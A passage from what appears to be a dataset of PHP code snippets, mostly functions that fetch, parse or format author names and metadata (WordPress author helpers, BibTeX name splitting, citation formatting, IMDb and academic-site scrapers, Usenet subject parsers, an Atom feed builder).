0)\n\t\t\t\t\t$fn2 .= $fn[$j][0] . '.';\n\t\t\t}\n\t\t\t$aarr[$i] = $na[0] . ' ' . $fn2;\n\t\t}\n\t\tif ($link !='') {\n\t\t\t$aarr[$i] = '<a href=\\\"' . $link. '\\\">' . $aarr[$i] . '</a>';\n\t\t}\n\t}\n\t\n\tif (count($aarr) > 1)\n\t\treturn $title[0] . \": \" . implode(', ', $aarr);\n\treturn \t$title[1] . \": \" . implode(', ', $aarr);\n}",
"function get_the_author_lastname()\n {\n }",
"public function getCastCredits ()\n {\n $content = new Document($this->getCredits());\n $titles = $content->find(\"#fullcredits_content h4\");\n $persons = $content->find(\".simpleCreditsTable tbody\");\n\n $crew = [];\n \n // skip useless h4s, (DiDom doesnt have :not pseudo class, so we make a foreach)\n foreach ($titles as $pos => $h4)\n {\n if ($h4->hasAttribute(\"id\") || $h4->hasAttribute(\"name\")) {\n unset($titles[$pos]);\n }\n }\n $titles = array_values($titles);\n\n foreach ($titles as $pos => $h4)\n {\n $title = trim($h4->text(), \" \\t\\n\\r\\0\\x0B\\xC2\\xA0\");\n $title = str_replace('Series ', '', $title);\n\n switch ($title)\n {\n case \"Directed by\":\n $name = \"director\";\n break;\n case \"Music by\":\n $name = \"music\";\n break;\n case \"Cinematography by\":\n $name = \"cinematography\";\n break;\n case \"Film Editing by\":\n $name = \"editing\";\n break;\n case \"Casting By\":\n $name = \"casting\";\n break;\n case \"Production Design by\":\n $name = \"production_design\";\n break;\n case \"Art Direction by\":\n $name = \"art_direction\";\n break;\n case \"Set Decoration by\":\n $name = \"set_decoration\";\n break;\n case \"Costume Design by\":\n $name = \"costume_design\";\n break;\n case \"Makeup Department\":\n $name = \"makeup_department\";\n break;\n case \"Production Management\":\n $name = \"production_management\";\n break;\n case \"Art Department\":\n $name = \"art_department\";\n break;\n case \"Sound Department\":\n $name = \"sound_department\";\n break;\n case \"Special Effects by\":\n $name = \"special_effects\";\n break;\n case \"Visual Effects by\":\n $name = \"visual_effects\";\n break;\n case \"Stunts\":\n $name = \"stunts\";\n break;\n case \"Camera and Electrical Department\":\n $name = \"camera_department\";\n break;\n case \"Animation Department\":\n $name = \"animation_department\";\n break;\n case \"Casting Department\":\n $name = \"casting_department\";\n break;\n case \"Costume and Wardrobe Department\":\n $name = \"wardrobe_department\";\n break;\n case \"Editorial Department\":\n $name = \"editorial_department\";\n break;\n case \"Location Management\":\n $name = \"location_management\";\n break;\n case \"Music Department\":\n $name = \"music_department\";\n break;\n case \"Transportation Department\":\n $name = \"transportation_department\";\n break;\n case \"Storyline\":\n $name = \"storyline\";\n break;\n case \"Photo & Video\":\n $name = \"photo\";\n break;\n default:\n continue 2;\n break;\n }\n\n if (!isset($crew[$name])) {\n $crew[$name] = [];\n }\n\n $regex = \"/name\\/nm(\\d+)\\/(?:.*)/\";\n \n if (!isset($persons[$pos])) {\n continue;\n }\n\n foreach ($persons[$pos]->find(\"a\") as $person)\n {\n preg_match($regex, $person->attr(\"href\"), $matches);\n\n if (!isset($matches[1]) || empty($matches[1])) {\n continue;\n }\n\n $crew[$name][] = [\n \"id\" => $matches[1],\n \"name\" => trim($person->text()),\n ];\n }\n }\n return $crew;\n }",
"function the_author_firstname()\n {\n }",
"function get_the_author($deprecated = '')\n {\n }",
"function getAuthor($param) {\n global $author;\n $author = \"\";\n $authorCount = 1;\n for($i = 0; $i < strlen('$str'); $i++) {\n if($str[$i] != \":\" && $authorCount == $param && $activeAuthor) {\n $author .= $str[$i];\n $author = \"Charlie\";\n } else if($str[$i] == \":\") {\n $authorCount++;\n $activeAuthor = false;\n $activeMsg = true;\n } else if($str[$i] == \"*\") {\n $activeAuthor = true;\n $activeMsg = false;\n }\n }\n }",
"private function getDocAuthor($nodeValue) {\n\t\t$author = \"\";\n\t\t$pos = strpos($nodeValue, \"Urheber:\");\n\t\t\n\t\tif ($pos!=false) {\n\t\t\t$author = trim(substr($nodeValue, $pos+8));\t\t\t\n\t\t}\n\t\t\n\t\treturn $author;\n\t}",
"function netfunktheme_author_desc_shortcode( $atts ){\n\t\n\textract( shortcode_atts( array(\n\t\t'user_id' => '0'\n\t), $atts ) );\n\t\n\t$author_description = '';\n\t\n\tif ($atts['user_id'] != 0) {\n\n\t\t$author_description = get_the_author_meta('lb_about',$atts['user_id']);\n\n\t}\n\t\n\t$author_description = str_replace('/n','<br />',$author_description);\n\t$author_description = str_replace('/r','<br />',$author_description);\n\t\n\treturn '<p class=\"lb-shortcode-meta lb_author_description\">' . $author_description . '</p>';\n\t\n}",
"function fsf_port_getAuthorsCleanURL()\n {\n global $fsfcms_api_url;\n\n $fsf_api_file = \"fsf.port.getAuthorsCleanURL.php\";\n $fsf_api_options = \"\"; \n $fsf_port_getAuthorsCleanURL_content = fsf_preacher_curl($fsfcms_api_url, $fsf_api_file, $fsf_api_options);\n \n return $fsf_port_getAuthorsCleanURL_content; \n }",
"public function getCopyright();",
"public function biography();",
"public static function explodeAuthorName($name) // {{{\n {\n $vons = array(\"von der\", \"van der\", \"von\", \"van\", \"du\", \"de\", \"de la\");\n $jrs = array(\"Jr.\", \"Sr.\", \"II\", \"III\");\n $name_tokens = array();\n $exploded = array(\"\", \"\", \"\", \"\");\n // Enclose every word into braces if not already\n $name_parts = explode(\" \", $name);\n foreach ($name_parts as $name_part)\n {\n // We use mb_substr instead of $name_part[0] to be multibyte-safe\n $first = mb_substr($name_part, 0, 1);\n $last = mb_substr($name_part, mb_strlen($name_part) - 1, 1);\n if ($first !== \"{\" && $last !== \"}\")\n $name_tokens[] = $name_part;\n if ($first === \"{\" && $last === \"}\")\n $name_tokens[] = substr($name_part, 1, mb_strlen($name_part) - 2);\n if ($first === \"{\" && $last !== \"}\")\n $temp_name = substr($name_part, 1, mb_strlen($name_part) - 1);\n if ($first !== \"}\" && $last === \"}\")\n $name_tokens[] = $temp_name.\" \".substr($name_part, 0, mb_strlen($name_part) - 1);\n }\n // Now, every token that should be considered as a single word is\n // an element in the array. We proceed according to BibTeX rules. \n for ($i = 0; $i < count($name_tokens); $i++)\n {\n $token = $name_tokens[$i];\n if (in_array($token, $vons))\n {\n // There is a von part; add it and remove it from the name\n $exploded[1] = $token;\n unset($name_tokens[$i]);\n $name_tokens = array_values($name_tokens);\n $i--;\n }\n if (in_array($token, $jrs))\n {\n // There is a Jr. part; add it and remove it from the name\n $exploded[3] = $token;\n unset($name_tokens[$i]);\n $name_tokens = array_values($name_tokens);\n $i--;\n }\n }\n // The last remaining token is the last name, the rest is the first name\n $exploded[2] = $name_tokens[count($name_tokens) - 1];\n unset($name_tokens[count($name_tokens) - 1]);\n $exploded[0] = implode($name_tokens, \" \");\n return $exploded;\n }",
"public function dc()\n\t{\n\t\tif (preg_match('/^brothers-of-usenet.+? \\(\\d+\\/\\d+\\) \"([\\w\\säöüÄÖÜß+¤¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e0 . ' - \\d+[,.]\\d+ [mMkKgG][bB] yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //\"The.Crow.1994.German.DL.PAL.HD2DVD.DVDR-Braunbaer.par2\" yEnc\n\t\tif (preg_match('/^\"([\\w.]{10,}-[a-zA-Z0-9]+)' . $this->e1, $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t} //Eragon postet The Secret of Crickley Hall S01E02 german Sub hardcodet [02/28] - \"the_secret_of_crickley_hall.1x02.hdtv_x264-fov_arc.par2\" yEnc\n\t\tif (preg_match('/^[A-Z0-9].+? postet\\s+.+?\\s+\\[\\d+\\/\\d+\\] - \"([\\w.-]{10,}?)' . $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //Eragon postet Hart of Dixie S02E13 german Sub hardcodet. [02/21] - \"hart of dixie S02E13.par2\" yEnc\n\t\tif (preg_match('/^[A-Z0-9].+? postet\\s+(.+?)\\.?\\s+\\[\\d+\\/\\d+\\] - \".+?' . $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //>GOU<< - \"Internet Download Manager 6.15 Build 1.rar\" yEnc\n\t\tif (preg_match('/^>GOU<< - \"(.+?)\\.rar\" yEnc$/', $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t} //Die.wahren.Faelle.des.NCIS.S01E06.Mord.ohne.Skrupel.GERMAN.DOKU.WS.BDRip.XviD-MiSFiTS - \"misfits-therealnciss01e06-xvid.par2\" yEnc\n\t\tif (preg_match('/^([\\w.]{8,}-[a-zA-Z0-9]+) - \".+?\" yEnc$/', $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t} //Double.Team.1997.German.FSK18.AC3.DVDRiP.XViD\"team-xvid.oppo.par2\" yEnc\n\t\tif (preg_match('/^([\\w.]{10,})\".+?\" yEnc$/', $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t}\n\t\treturn array(\n\t\t\t\"cleansubject\" => $this->releaseCleanerHelper($this->subject), \"properlynamed\" => false\n\t\t);\n\t}",
"public function _getModuleAuthor()\n {\n return \"Daniel Dušek <[email protected]>\";\n }",
"function getAuthorsName(int $articleAuthorId, array $authors) : string { \n foreach ($authors as $author) {\n if ($author['id'] === $articleAuthorId) {\n $name = $author['full_name'];\n }\n }\nreturn $name;\n}",
"function processAuthor($author) {\n return NULL;\n }",
"public function getAuthorName()\n {\n return 'Fightmaster.publication.author.name';\n }",
"function GetAuthorEmail()\n {\n return '[email protected]';\n }",
"public function getLecturerByMajor($major){\n $client = new Client();\n \n $majorID = $major == 'D3'? '57401' : '55301';\n $page = 1; $nameCollection = []; $userIDCollection = []; $gIDCollection = []; $imageCollection = [];\n $link = 'https://sinta.ristekbrin.go.id/departments/detail?page=1&afil=413&id='.$majorID.'&view=authors&sort=year2';\n $crawler = $client->request('GET', $link );\n \n // Get total amount written in sinta web\n $infoAmount = $crawler->filter('.uk-table > caption')->text();\n $pieces = explode(' ', $infoAmount);\n $sintaAmountLecturerTI = array_pop($pieces);\n \n do {\n $link = 'https://sinta.ristekbrin.go.id/departments/detail?page='.$page.'&afil=413&id='.$majorID.'&view=authors&sort=year2';\n $crawler = $client->request('GET', $link );\n \n // Scrape name\n $crawler->filter('.uk-description-list-line > dt > a')->each(function($node) use (&$nameCollection){\n array_push($nameCollection,$node->text());\n });\n \n // Scrape profile picture\n $crawler->filter('.author-photo-small')->each(function($node) use (&$imageCollection){\n array_push($imageCollection,$node->attr('src'));\n });\n \n // Scrape Sinta user ID\n $crawler->filter('.uk-description-list-line > dt > a')->each(function($node) use (&$userIDCollection){\n // Get only the user id from the link\n preg_match('/id=(.*)&view/', $node->attr('href'), $matches);\n $extractedUserID = $matches[1];\n \n array_push($userIDCollection,$extractedUserID);\n });\n \n // Scrape gscholar ID\n $crawler->filter('.author-photo-small')->each(function($node) use (&$gIDCollection){\n // Get only the user id from the link\n preg_match('/user=(.*)&citpid/', $node->attr('src'), $matches);\n $extractedID = $matches[1];\n \n array_push($gIDCollection,$extractedID);\n });\n \n $page++;\n } while (count($nameCollection) < $sintaAmountLecturerTI);\n \n for ($i=0; $i < count($nameCollection); $i++) { \n $collection[$i]['name'] = $nameCollection[$i];\n $collection[$i]['image'] = $imageCollection[$i];\n $collection[$i]['userID'] = $userIDCollection[$i];\n $collection[$i]['gscholarID'] = $gIDCollection[$i];\n }\n \n return $collection;\n }",
"function the_author_nickname()\n {\n }",
"function the_author($deprecated = '', $deprecated_echo = \\true)\n {\n }",
"public function getCopyright() {}",
"public function stringSingleAuthor($input)\n {\n $lastname = '';\n $stringnotlast = '';\n $splitcomma = explode(\",\", $input);\n $kira = count($splitcomma);\n if ($kira == 2) {\n $lastname = trim($splitcomma[0]);\n // echo $splitcomma[1];\n $split = explode(\" \", trim($splitcomma[1]));\n $total2 = count($split);\n // echo $total2;\n $stringnotlast = \"\";\n for ($x = 1; $x <= $total2; $x ++) {\n // echo $input.\">>\".$x.\"---\";\n $notlast = $split[$x - 1];\n if ($notlast) {\n $stringnotlast .= substr($notlast, 0, 1) . \". \";\n } else {\n $stringnotlast .= \"\";\n }\n }\n } else if ($kira == 1) {\n $split = explode(\" \", $input); // by space\n $total = count($split);\n // echo $total;\n if ($total == 1) {\n $lastname = $input;\n $stringnotlast = \"\";\n } else {\n $lastcount = $total - 1;\n $stringnotlast = \"\";\n for ($x = 1; $x <= $lastcount; $x ++) {\n if ($x == $lastcount) {\n $t = \".\";\n } else {\n $t = \". \";\n }\n $notlast = $split[$x - 1];\n $stringnotlast .= ucfirst(substr($notlast, 0, 1)) . $t;\n }\n $lastname = $split[$lastcount];\n }\n }\n\n return array(\n $lastname,\n $stringnotlast\n );\n }",
"function rtheme_get_author() {\n $byline = sprintf(\n esc_html_x( ' by %s', 'post author', 'rtheme' ),\n '<span class=\"author vcard\"><a href=\" ' . esc_url( get_author_posts_url( get_the_author_meta( 'ID' ) ) ) . ' \">' . esc_html( get_the_author() ) . '</a></span>'\n );\n echo '<span class=\"\">' . $byline . '</span>';\n}",
"public function movies_divx()\n\t{\n\t\tif (preg_match('/^\\(www\\.Thunder-News\\.org\\) .+? - \"([\\w\\säöüÄÖÜß+¤¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //Movieland Post Voor FTN - [01/43] - \"movieland0560.par2\" yEnc\n\t\tif (preg_match('/^[a-zA-Z ]+Post Voor FTN - \\[\\d+\\/\\d+\\] - \"([\\w\\säöüÄÖÜß+¤¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //Disney short films collection by mayhem masta\"1923 - Alice's Wonderland.vol15+7.par2\" yEnc\n\t\tif (preg_match('/.+?by mayhem masta\"([\\w\\säöüÄÖÜß+¤¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(http://dream-of-usenet.info) - [01/43] - \"Nicht.auflegen.2002.German.DL.AC3.BDRip.XviD-iNCEPTiON.nfo\" yEnc\n\t\tif (preg_match('/^\\(.+usenet\\.info\\)[-_\\s]{0,3}\\[\\d+\\/\\d+\\][-_\\s]{0,3}\"(.+)(\\.part\\d*|\\.rar)?(\\.vol.+?\"|\\.[A-Za-z0-9]{2,4}\").+?yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //[######]-[FULL]-[#hdtv@LinkNet]-[Sesame.Street.S41E03.1080i.HDTV.DD5.1.MPEG2-TrollHD]-[00/51] - \"Sesame Street S41E03 Chicken When It Comes to Thunderstorms 1080i HDTV DD5.1 MPEG2-TrollHD.nzb\" yEnc\n\t\tif (preg_match('/\\[#]+\\]-\\[.+\\]-\\[.+\\]-\\[(.+)\\][- ]\\[\\d+\\/\\d+\\][-_\\s]{0,3}\".+\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //[ Rules.of.Engagement.S06E12.720p.WEB-DL.DD5.1.H.264-CtrlHD ]-[01/24] - \"Rules.of.Engagement.S06E12.720p.WEB-DL.DD5.1.H.264-CtrlHD.nfo\" yEnc\n\t\tif (preg_match('/^\\[ ([a-zA-Z0-9.-]{6,}) \\]-\\[\\d+\\/\\d+\\] - \".+\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\treturn array(\n\t\t\t\"cleansubject\" => $this->releaseCleanerHelper($this->subject), \"properlynamed\" => false\n\t\t);\n\t}",
"function yeti_entry_meta() {\n echo '<p class=\"byline\"><time class=\"updated\" datetime=\"'. get_the_time('c') .'\" pubdate>'. sprintf(__('Posted on %s at %s.', 'yeti'), get_the_time('l, F jS, Y'), get_the_time()) .'</time></p>';\n //echo '<p class=\"byline author\">'. __('Written by', 'reverie') .' <a href=\"'. get_author_posts_url(get_the_author_meta('ID')) .'\" rel=\"author\" class=\"fn\">'. get_the_author() .'</a></p>';\n}",
"function getSimilarAuthors($author) {\r\n $userlogin = getUserLogin();\r\n if ($userlogin->getPreference('similar_author_test')=='il') \r\n {\r\n //appendMessage('il');\r\n return $this->getSimilarAuthors2($author); //on initial lastname \"il\" \r\n }\r\n else\r\n {\r\n //appendMessage('c');\r\n return $this->getSimilarAuthors1($author); //on cleanname \"c\"\r\n }\r\n \r\n }",
"public function about_contributor()\r\n\t{\r\n\t\t?>♣ \"About Contributor\" Module<?\r\n\t}",
"function _formatAuthor($array) {\n\t\tif (!array_key_exists('von', $array)) {\n\t\t\t$array['von'] = '';\n\t\t} else {\n\t\t\t$array['von'] = trim($array['von']);\n\t\t}\n\t\tif (!array_key_exists('last', $array)) {\n\t\t\t$array['last'] = '';\n\t\t} else {\n\t\t\t$array['last'] = trim($array['last']);\n\t\t}\n\t\tif (!array_key_exists('jr', $array)) {\n\t\t\t$array['jr'] = '';\n\t\t} else {\n\t\t\t$array['jr'] = trim($array['jr']);\n\t\t}\n\t\tif (!array_key_exists('first', $array)) {\n\t\t\t$array['first'] = '';\n\t\t} else {\n\t\t\t$array['first'] = trim($array['first']);\n\t\t}\n\t\t$ret = $this->authorstring;\n\t\t$ret = str_replace(\"VON\", $array['von'], $ret);\n\t\t$ret = str_replace(\"LAST\", $array['last'], $ret);\n\t\t$ret = str_replace(\"JR\", $array['jr'], $ret);\n\t\t$ret = str_replace(\"FIRST\", $array['first'], $ret);\n\t\treturn trim($ret);\n\t}",
"function atom() \n\t{\n\t\tglobal $txpac;\n\t\textract($GLOBALS['prefs']);\n\t\tdefine(\"textplain\",' type=\"text/plain\"');\n\t\tdefine(\"texthtml\",' type=\"text/html\"');\n\t\tdefine(\"relalt\",' rel=\"alternate\"');\n\t\tdefine('appxhtml',' type=\"application/xhtml+xml\"');\n\t\tdefine(\"divxhtml\",'<div xmlns=\"http://www.w3.org/1999/xhtml\">');\n\t\t\n\t\t$area = gps('area');\n\t\textract(doSlash(gpsa(array('category','section','limit'))));\n\t\t\n\t\t$last = fetch('unix_timestamp(val)','txp_prefs','name','lastmod');\n\t\t\n\t\t$sitename .= ($section) ? ' - '.$section : '';\n\t\t$sitename .= ($category) ? ' - '.$category : '';\n\n\t\t$out[] = tag($sitename,'title',textplain);\n\t\t$out[] = tag($site_slogan,'tagline',textplain);\n\t\t$out[] = '<link'.relalt.texthtml.' href=\"http://'.$siteurl.$path_from_root.'\" />';\n\t\t$out[] = tag('tag:'.$siteurl.','.date(\"Y\").':/','id');\n\t\t$out[] = tag('Textpattern','generator',\n\t\t\t' url=\"http://textpattern.com\" version=\"g1.17\"');\n\t\t$out[] = tag(date(\"Y-m-d\\TH:i:s\\Z\",$last),'modified');\n\n\t\t$pub = safe_row(\"RealName, email\", \"txp_users\", \"privs=1\");\n\n\t\t\t$auth[] = tag($pub['RealName'],'name');\n\t\t\t$auth[] = ($txpac['include_email_atom']) ? tag(eE($pub['email']),'email') : '';\n\t\t\t$auth[] = tag('http://'.$siteurl.$path_from_root,'url');\n\t\t\n\t\t$out[] = tag(n.t.t.join(n.t.t,$auth).n,'author');\n\n\t\tif (!$area or $area=='article') {\n\t\t\t\n\t\t\t$sfilter = ($section) ? \"and Section = '\".$section.\"'\" : '';\n\t\t\t$cfilter = ($category) \n\t\t\t\t? \"and (Category1='\".$category.\"' or Category2='\".$category.\"')\":'';\n\t\t\t$limit = ($limit) ? $limit : '5';\n\t\t\t\n\t\t\t$frs = safe_column(\"name\", \"txp_section\", \"in_rss != '1'\");\n\t\t\t\n\t\t\tforeach($frs as $f) $query[] = \"and Section != '\".$f.\"'\";\n\t\t\t$query[] = $sfilter;\n\t\t\t$query[] = $cfilter;\n\t\t\t\t\n\t\t\t$rs = safe_rows(\n\t\t\t\t\"*, unix_timestamp(Posted) as uPosted,unix_timestamp(LastMod) as uLastMod\",\n\t\t\t\t\"textpattern\", \n\t\t\t\t\"Status=4 and Posted <= now() \".\n\t\t\t\t\tjoin(' ',$query).\n\t\t\t\t\t\"order by Posted desc limit $limit\" \n\t\t\t);\n\t\t\tif ($rs) {\t\n\t\t\t\tforeach ($rs as $a) {\n\t\t\t\t\textract($a);\n\t\n\t\t\t\t\tif ($txpac['show_comment_count_in_feed']) {\n\t\t\t\t\t\t$dc = getCount('txp_discuss', \"parentid=$ID and visible=1\");\n\t\t\t\t\t\t$count = ($dc > 0) ? ' ['.$dc.']' : '';\n\t\t\t\t\t} else $count = '';\n\t\t\n\t\t\t\t\t$e['issued'] = tag(date(\"Y-m-d\\TH:i:s\\Z\",$uPosted),'issued');\n\t\t\t\t\t$e['modified'] = tag(date(\"Y-m-d\\TH:i:s\\Z\",$uLastMod),'modified');\n\t\t\t\t\t$e['title'] = tag($Title.$count,'title');\n\t\t\t\t\t\t$elink = ($url_mode == 0)\n\t\t\t\t\t\t?\t'http://'.$siteurl.$path_from_root.'index.php?id='.$ID\n\t\t\t\t\t\t:\t'http://'.$siteurl.$path_from_root.$Section.'/'.$ID.'/';\n\t\t\t\t\t$e['link'] = '<link'.relalt.texthtml.' href=\"'.$elink.'\" />';\n\t\t\t\t\t$e['id'] = tag('tag:'.$siteurl.','.date(\"Y-m-d\",$uPosted).':'.$ID,'id');\n\t\t\t\t\t$e['subject'] = tag(htmlspecialchars($Category1),'dc:subject');\n\t\t\t\t\t\n\t\t\t\t\t\t// pull Body or Excerpt?\n\t\t\t\t\t$Body = (!$txpac['syndicate_body_or_excerpt']) ? $Body_html : $Excerpt;\n\t\n\t\t\t\t\t\t// if Excerpt is empty, switch back to Body_html\n\t\t\t\t\t$Body = (!trim($Body)) ? $Body_html : $Body; \n\t\t\t\t\t\n\t\t\t\t\t\t// fix relative urls\n\t\t\t\t\t$Body = str_replace('href=\"/','href=\"http://'.$siteurl.'/',$Body);\n\t\n\t\t\t\t\t\t// encode and entify\n\t\t\t\t\t$Body = utf8_encode(htmlspecialchars($Body));\n\t\n\t\t\t\t\t$e['content'] = tag(n.$Body.n,'content',\n\t\t\t\t\t\t' type=\"text/html\" mode=\"escaped\" xml:lang=\"en\"');\n\t\t\n\t\t\t\t\t$out[] = tag(n.t.t.join(n.t.t,$e).n,'entry');\n\t\t\t\t}\n\t\t\t}\n\t\t} elseif ($area=='link') {\n\t\t\n\t\t\t$cfilter = ($category) ? \"category='$category'\" : '1';\n\t\t\t$limit = ($limit) ? $limit : 15;\n\t\t\n\t\t\t$rs = safe_rows(\"*\", \"txp_link\", \"$cfilter order by date desc limit $limit\");\n\n\t\t\tif ($rs) {\n\t\t\t\tforeach($rs as $a) {\n\t\t\t\t\textract($a);\n \n\t\t\t\t\t$e['title'] = tag(doSpecial($linkname),'title');\n\t\t\t\t\t$content = utf8_encode(htmlspecialchars($description));\n\t\t\t\t\t$e['content'] = tag(n.$description.n,'content',' type=\"text/html\" mode=\"escaped\" xml:lang=\"en\"');\n\t\t\t\t\t$url = (preg_replace(\"/^\\/(.*)/\",\"http://$siteurl/$1\",$url));\n\t\t\t\t\t$e['link'] = '<link'.relalt.texthtml.' href=\"'.$url.'\" />';\n\n\t\t\t\t\t$out[] = tag(n.t.t.join(n.t.t,$e).n,'entry');\n\t\t\t\t}\n\t\t\t}\n\t\t\n\t\t}\n\t\tif (!empty($out)) {\n\t\t\tob_start();\n\t\t\theader('Content-type: text/xml');\n\t\t\treturn chr(60).'?xml version=\"1.0\" encoding=\"UTF-8\"?'.chr(62).n.\n\t\t\t'<feed version=\"0.3\" xmlns=\"http://purl.org/atom/ns#\" xmlns:dc=\"http://purl.org/dc/elements/1.1/\">'.join(n,$out).'</feed>';\n\t\t}\n\t}",
"function livraison_autoriser() {}",
"function hc_the_author($gravatarSize = ''){\n\t\t$info = hc_get_the_author($gravatarSize);\n\t\tforeach ($info as $index => $author) {\n\t\t\tif(file_exists(get_bloginfo('stylesheet_directory').'plugins/hypercontact/templates/author.php')){\n\t\t\t\tinclude(get_bloginfo('stylesheet_directory').'plugins/hypercontact/templates/author.php');\n\t\t\t}else{\n\t\t\t\tinclude('templates/author.php');\n\t\t\t}\n\t\t}\n\n\t}",
"function zg_ai_name() {\n\n $first = [\n 'Michael',\n 'Christopher',\n 'Matthew',\n 'Joshua',\n 'Daniel',\n 'David',\n 'James',\n 'Robert',\n 'John',\n 'Joseph',\n 'Andrew',\n 'Ryan',\n 'Brandon',\n 'Jason',\n 'Justin',\n 'William',\n 'Jonathan',\n 'Brian',\n 'Nicholas',\n 'Anthony',\n 'Eric',\n 'Adam',\n 'Kevin',\n 'Steven',\n 'Thomas',\n 'Jessica',\n 'Ashley',\n 'Jennifer',\n 'Amanda',\n 'Sarah',\n 'Stephanie',\n 'Nicole',\n 'Heather',\n 'Elizabeth',\n 'Megan',\n 'Melissa',\n 'Christina',\n 'Rachel',\n 'Laura',\n 'Lauren',\n 'Amber',\n 'Brittany',\n 'Danielle',\n 'Kimberly',\n 'Amy',\n 'Crystal',\n 'Michelle',\n 'Tiffany',\n 'Emily',\n 'Rebecca',\n ];\n\n $last = [\n 'Smith',\n 'Johnson',\n 'Williams',\n 'Brown',\n 'Jones',\n 'Miller',\n 'Davis',\n 'Wilson',\n 'Anderson',\n 'Thomas',\n 'Taylor',\n 'Moore',\n 'Jackson',\n 'Thompson',\n 'White',\n 'Harris',\n 'Clark',\n 'Lewis',\n 'Robinson',\n 'Walker',\n 'Young',\n 'Allen',\n 'King',\n 'Wright',\n 'Scott',\n 'Hill',\n 'Green',\n 'Adams',\n 'Baker',\n 'Hall',\n 'Campbell',\n 'Mitchell',\n 'Carter',\n 'Turner',\n 'Parker',\n 'Edwards',\n 'Collins',\n 'Stewart',\n 'Morris',\n 'Morales',\n 'Cook',\n 'Rogers',\n 'Cooper',\n 'Peterson',\n 'Bailey',\n 'Reed',\n 'Howard',\n 'Ward',\n 'Richardson',\n 'Watson',\n ];\n\n return $first[mt_rand(0, count($first) - 1)] . ' '\n . $last[mt_rand(0, count($last) - 1)];\n}",
"static function description(): string {\r\n return 'A website owned or used by The Medium'; \r\n }",
"public static function styleAMA(array $meta)\r\n {\r\n $str = '';\r\n\r\n //format names according to AMA style\r\n function formatName(array $name)\r\n {\r\n return $name['last_name'] . ' ' . preg_replace('/\\b([A-Z]).*?(?:\\s|$)+/','$1',$name['first_name']);\r\n }\r\n\r\n //if less than 6 authors, list all; otherwise, list first 3 followed by et al\r\n if(isset($meta['authors']) && isset($meta['authors']['first']))\r\n {\r\n $str .= formatName($meta['authors']['first']);\r\n \r\n if(isset($meta['authors']['additional']))\r\n {\r\n if(count($meta['authors']['additional'])<6)\r\n {\r\n foreach($meta['authors']['additional'] as $v)\r\n {\r\n $str .= ', ' . formatName($v);\r\n }\r\n }\r\n else\r\n {\r\n //only include 2 additional authors\r\n $c = 2;\r\n foreach($meta['authors']['additional'] as $v)\r\n {\r\n $str .= ', ' . formatName($v);\r\n $c--;\r\n if($c<=0)\r\n {\r\n break;\r\n }\r\n }\r\n $str .= ', et al';\r\n }\r\n }\r\n $str .= '.';\r\n }\r\n\r\n if(isset($meta['title']))\r\n {\r\n $str .= (($str)?' ':'') . $meta['title'] . '.';\r\n }\r\n\r\n if(isset($meta['journal']))\r\n {\r\n $str .= (($str)?' ':'') . \"''\" .\r\n ((isset($meta['journal']['abbrev_title']))?$meta['journal']['abbrev_title']:$meta['journal']['full_title']) .\r\n \"''.\";\r\n }\r\n\r\n //at this point there has to be something set\r\n if(!$str)\r\n {\r\n return '';\r\n }\r\n\r\n if(isset($meta['pub_date']))\r\n {\r\n $str .= ' ';\r\n if(isset($meta['pub_date']['print']))\r\n {\r\n $str .= $meta['pub_date']['print']['year'];\r\n }\r\n else\r\n {\r\n $str .= $meta['pub_date']['online']['year'];\r\n }\r\n $str .= (isset($meta['volume']))?';':'.';\r\n }\r\n\r\n if(isset($meta['volume']))\r\n {\r\n if(substr($str,-1) != ';')\r\n {\r\n $str .= ' ';\r\n }\r\n $str .= $meta['volume'];\r\n\r\n if(isset($meta['issue']))\r\n {\r\n $str .= '(' . $meta['issue'] . ')';\r\n }\r\n\r\n if(isset($meta['pages']))\r\n {\r\n $str .= ':' . $meta['pages'];\r\n }\r\n\r\n $str .= '.';\r\n }\r\n\r\n if(isset($meta['doi']))\r\n {\r\n $str .= ' [http://dx.doi.org/' . $meta['doi'] . ' doi:' . $meta['doi'] . '].';\r\n }\r\n\r\n return $str;\r\n }",
"function devlySimpleAuthor() { \n\n\t$authID = get_the_author_meta('ID'); \n\t$size\t= '78';\n\t\n\t?>\n\n\t<div id=\"authorBioContainer\">\n\t\t\n\t\t<div class=\"gravatar\"><?php echo get_avatar($authID, $size); ?></div>\n\t\t\n\t\t<div class=\"aboutAuthor\">\n\t\t\t<h3 class=\"authorName\"><?php the_author(); ?></h3>\n\t\t\t<p><?php echo get_the_author_meta('description') ?></p>\n\t\t</div>\n\t\t\n\t</div>\n\t\n\t<?php\n\n}",
